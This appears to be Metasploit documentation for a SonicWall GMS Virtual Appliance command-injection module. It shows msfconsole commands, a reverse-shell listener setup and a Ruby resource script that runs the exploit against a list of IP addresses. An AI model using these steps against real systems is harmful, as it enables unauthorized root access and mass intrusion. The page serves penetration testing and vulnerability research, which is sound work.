List of CVEs: -
This module exploits a vulnerability in SonicWall Global
Management System Virtual Appliance versions 8.1 (Build
8110.1197) and below. This virtual appliance can be
downloaded from
http://www.sonicwall.com/products/sonicwall-gms/ and is used
'in a holistic way to manage your entire network security
environment.' These vulnerable versions (8.1 Build 8110.1197
and below) do not prevent unauthenticated, external entities
from making XML-RPC requests to port 21009 of the virtual
app. After the XML-RPC call is made, a shell script is
called like so: 'timeSetup.sh --tz="command injection
here
"' --usentp="blah"'.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using sonicwall_xmlrpc_rce against a single host
Normally, you can use exploit/unix/sonicwall/sonicwall_xmlrpc_rce this way:
msf > use exploit/unix/sonicwall/sonicwall_xmlrpc_rce
msf exploit(sonicwall_xmlrpc_rce) > show targets
... a list of targets ...
msf exploit(sonicwall_xmlrpc_rce) > set TARGET target-id
msf exploit(sonicwall_xmlrpc_rce) > show options
... show and set options ...
msf exploit(sonicwall_xmlrpc_rce) > exploit
Using sonicwall_xmlrpc_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your sonicwall_xmlrpc_rce will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/sonicwall/sonicwall_xmlrpc_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Knowledge Base
Vulnerable Application
sonicwall_xmlrpc_rce is a remote exploit against SonicWall Global Management System Virtual Appliance and is written by Michael Flanders of Trend Micro Zero Day Initiative with assistance by @kernelsmith of Trend Micro Zero Day Initiative. It is considered a reliable exploit, and allows you to remotely execute commands as root.
This exploit works against a vulnerable SonicWall Global Management System Virtual Appliance (A.K.A. Sonicwall GMSVP) of versions 8.1 (Build 8110.1197) and earlier. The virtual appliance can be downloaded here:
- http://www.sonicwall.com/products/sonicwall-gms/
This module exploits the virtual appliance's lack of checking on user-supplied parameters to XML-RPC calls to a vulnerable Java service running on port 21009. A call to a shell script is made using this user-supplied parameter contained in backticks allowing command substitution and remote code execution.
To reliably determine whether the target virtual appliance is vulnerable, you will have to examine the web console's login page. This is also automatically done in the check function of the exploit.
Verification Steps
- [x] Start
msfconsole
- [x]
use exploit/unix/sonicwall/sonicwall_xmlrpc_rce
- [x]
set RHOST
to the IP address of the vulnerable virtual appliance - [x]
set RPORT
to 21009 - [x]
set payload
to the desired payload - [x] set any additional options for the payload e.g. LHOST/LPORT
- [x]
exploit
- [x] Verify that you get a shell
- [x] Verify that you do not crash
Options
set SSL [true/false]
- Set this true/false depending on whether the instance of SonicWall GMSVP has been configured to use SSL.
set WEB_SERVER_PORT [port]
- This is the port of the login page for the web server/virtual appliance. For
SonicWall GMVSP this is typically http://[ip]:80; therefore, this option is set
by default to 80 (or 443 if
set SSL true
).
Scenarios
- This is example output from a normal usage/scenario. This console output is for SonicWall GMSVP version 8.0 (Build 8046.1396):
